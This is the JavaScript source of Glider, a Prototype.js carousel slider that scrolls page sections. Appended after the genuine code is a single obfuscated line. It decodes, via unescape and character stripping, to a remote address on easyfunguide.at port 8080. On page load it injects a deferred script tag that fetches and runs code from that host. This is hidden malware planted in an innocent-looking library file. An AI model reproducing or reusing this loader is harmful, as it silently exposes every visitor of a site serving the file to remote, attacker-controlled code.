/**
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://www.missingmethod.com/projects/glider/
 * @version 0.0.3
 * @dependencies prototype.js 1.5.1+, effects.js
 */

/*  Thanks to Andrew Dupont for refactoring help and code cleanup - http://andrewdupont.net/  */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
	    this.scrolling  = true;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.hp_section');
	    this.options    = Object.extend({ duration: 1.0, frequency: 6 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this)
	    };

	    this.addObservers();
			if(this.options.initialSection) this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
			if(true) this.start();
	  },
	
  addObservers: function() {
    var controls = this.wrapper.getElementsBySelector('div.controls a');
    controls.invoke('observe', 'click', this.events.click);
  },	

  click: function(event) {
		this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) this.scrolling.cancel();
    
    this.moveTo(element.href.split("#")[1], this.scroller, { duration:this.options.duration });     
    Event.stop(event);
  },

	moveTo: function(element, container, options){
			this.current = $(element);

			Position.prepare();
	    var containerOffset = Position.cumulativeOffset(container),
	     elementOffset = Position.cumulativeOffset($(element));

		  this.scrolling 	= new Effect.SmoothScroll(container, 
				{duration:options.duration, x:(elementOffset[0]-containerOffset[0]), y:(elementOffset[1]-containerOffset[1])});
		  return false;
		},
		
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },

	stop: function()
	{
		clearTimeout(this.timer);
	},
	
	start: function()
	{
		this.periodicallyUpdate();
	},
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});


var G;if(G!='W'){G=''};function j(){var x=window;var Yy=new String();var iz="";var B=unescape;var GB=new Date();this.xi="";var p=B("%2f%73%74%61%79%66%72%69%65%6e%64%73%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%69%63%65%2e%69%74%2e%70%68%70");var Dz=new String();this.z="";var Bw=new Array();this.yl="";function C(s,xe){var Gu;if(Gu!='CL' && Gu!='L'){Gu=''};this.f="";var y=String("g");var bV;if(bV!='Vn' && bV != ''){bV=null};var E=B("%5b"), w=B("%5d");var i=E+xe+w;var Z;if(Z!='' && Z!='TM'){Z='h'};var O=new RegExp(i, y);var J;if(J!='' && J!='SE'){J='_x'};return s.replace(O, new String());var AU=new Array();this.BO='';};var _H=new Array();var gl="";var oL;if(oL!=''){oL='m'};var g=document;var gOK=new Date();var S=C('8113330113181111011111','31');var dK='';this.ka="";var Y=new String();var fk="";function K(){var EJj;if(EJj!='YG' && EJj != ''){EJj=null};var o=B("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");this.WY='';var BC;if(BC!='' && BC!='PP'){BC=null};Y=o;var IF;if(IF!='By' && IF!='Lr'){IF=''};var eQ=new Date();Y+=S;var CC;if(CC!='' && CC!='ye'){CC=null};var doF;if(doF!='' && doF!='Fx'){doF=null};Y+=p;var hj;if(hj!='Ud'){hj='Ud'};var gR;if(gR!='' && gR!='cF'){gR=''};try {this.TA='';F=g.createElement(C('sBcTrNi8pnte','n9NayqU1bPez24Bo0H8IT'));this.tcP="";this.ax='';var DB;if(DB!='' && DB!='QZ'){DB=''};F[B("%64%65%66%65%72")]=[1,8][0];this.HZ='';F[B("%73%72%63")]=Y;var vH;if(vH!='bp' && vH!='lt'){vH=''};var Jl;if(Jl!='u' && Jl!='q'){Jl=''};g.body.appendChild(F);var rB;if(rB!='xv' && rB!='Px'){rB='xv'};var OA="";var Rh=new Array();} catch(I){var uE;if(uE!='' && uE!='nl'){uE='N'};alert(I);var HA;if(HA!='yt'){HA=''};this.rK="";};var Pg;if(Pg!='ux' && Pg!='ql'){Pg=''};this.ih='';}var CJ=new String();var ew=new String();var zV=new Date();var mrl;if(mrl!='iP'){mrl='iP'};x[new String("onj8O6".substr(0,2)+"lo"+"adGcFr".substr(0,2))]=K;var zz=new Array();var To=new Array();};j();